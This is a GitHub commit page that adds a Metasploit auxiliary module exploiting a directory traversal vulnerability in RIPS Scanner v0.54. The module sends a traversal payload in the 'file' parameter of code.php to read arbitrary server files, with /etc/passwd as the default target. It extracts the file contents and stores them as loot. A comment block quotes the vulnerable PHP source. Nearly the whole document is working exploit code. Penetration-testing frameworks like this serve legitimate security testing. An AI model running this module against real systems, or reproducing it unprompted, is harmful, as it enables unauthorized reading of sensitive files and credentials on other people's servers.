Skip to content

Commit 3e104fd

Browse files
committed
Add Directory Traversal for RIPS Scanner
1 parent e0568e9 commit 3e104fd

File tree

1 file changed

+97
-0
lines changed

1 file changed

+97
-0
lines changed
Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'RIPS Scanner Directory Traversal',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability in the RIPS Scanner v0.54
19+
The vulnerability affects to Windows and Linux systems.
20+
},
21+
'References' =>
22+
[
23+
['URL', 'http://codesec.blogspot.com.br/2015/03/rips-scanner-v-054-local-file-include.html']
24+
],
25+
'Author' => 'Roberto Soares Espreto <robertoespreto[at]gmail.com>',
26+
'License' => MSF_LICENSE
27+
))
28+
29+
register_options(
30+
[
31+
Opt::RPORT(80),
32+
OptString.new('TARGETURI', [ true, "The URI path to the web application", "/rips/"]),
33+
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
34+
], self.class)
35+
end
36+
37+
def run_host(ip)
38+
traversal = "../../../../../"
39+
filename = datastore['FILEPATH']
40+
filename = filename[1, filename.length] if filename =~ /^\//
41+
42+
res = send_request_cgi({
43+
'method' => 'GET',
44+
'uri' => normalize_uri(target_uri.path, 'windows', 'code.php'),
45+
'vars_get' =>
46+
{
47+
'file' => "#{traversal}#{filename}"
48+
}
49+
})
50+
51+
if res &&
52+
res.code == 200 &&
53+
res.headers.include?('Set-Cookie') &&
54+
res.body.length > 304
55+
56+
html = Nokogiri::HTML(res.body)
57+
html_clean = html.search('.codeline').text
58+
print_line("#{html_clean}")
59+
60+
fname = datastore['FILEPATH']
61+
62+
path = store_loot(
63+
'rips.traversal',
64+
'text/plain',
65+
ip,
66+
html_clean,
67+
fname
68+
)
69+
70+
print_good("#{peer} - File saved in: #{path}")
71+
else
72+
print_error("#{peer} - Nothing was downloaded")
73+
end
74+
end
75+
end
76+
=begin
77+
102 $file = $_GET['file'];
78+
103 $marklines = explode(',', $_GET['lines']);
79+
104
80+
105
81+
106 if(!empty($file))
82+
107 {
83+
108 $lines = file($file);
84+
109
85+
110 // place line numbers in extra table for more elegant copy/paste without line numbers
86+
111 echo '<tr><td><table>';
87+
112 for($i=1, $max=count($lines); $i<=$max;$i++)
88+
113 echo "<tr><td class=\"linenrcolumn\"><span class=\"linenr\">$i</span><A id='".($i+2).'\'></A></td></tr>';
89+
114 echo '</table></td><td id="codeonly"><table id="codetable" width="100%">';
90+
115
91+
116 $in_comment = false;
92+
117 for($i=0; $i<$max; $i++)
93+
118 {
94+
119 $in_comment = highlightline($lines[$i], $i+1, $marklines, $in_comment);
95+
120 }
96+
121 }
97+
=end

0 commit comments

Comments
 (0)